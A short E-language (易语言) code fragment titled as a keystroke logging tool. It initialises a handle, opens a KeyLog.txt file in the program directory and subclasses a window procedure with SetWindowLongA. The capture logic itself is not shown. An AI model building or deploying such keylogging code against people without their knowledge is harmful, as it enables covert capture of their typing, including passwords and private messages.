键盘按键记录工具代码

hWnd ＝ Monitor.取窗口句柄 ()
.如果真 (Init (hWnd) ＝ 假)
调试输出 (“初始化失败”)
返回 ()
.如果真结束
hFile ＝ 打开文件 (取运行目录 () ＋ “\KeyLog.txt”, #重写, #禁止写)
.如果真 (hFile ＝ 0)
调试输出 (“打开或创建文件失败”)
返回 ()
.如果真结束
lpPrevWndFunc ＝ SetWindowLongA (hWnd, #GWL_WNDPROC, &func_Message)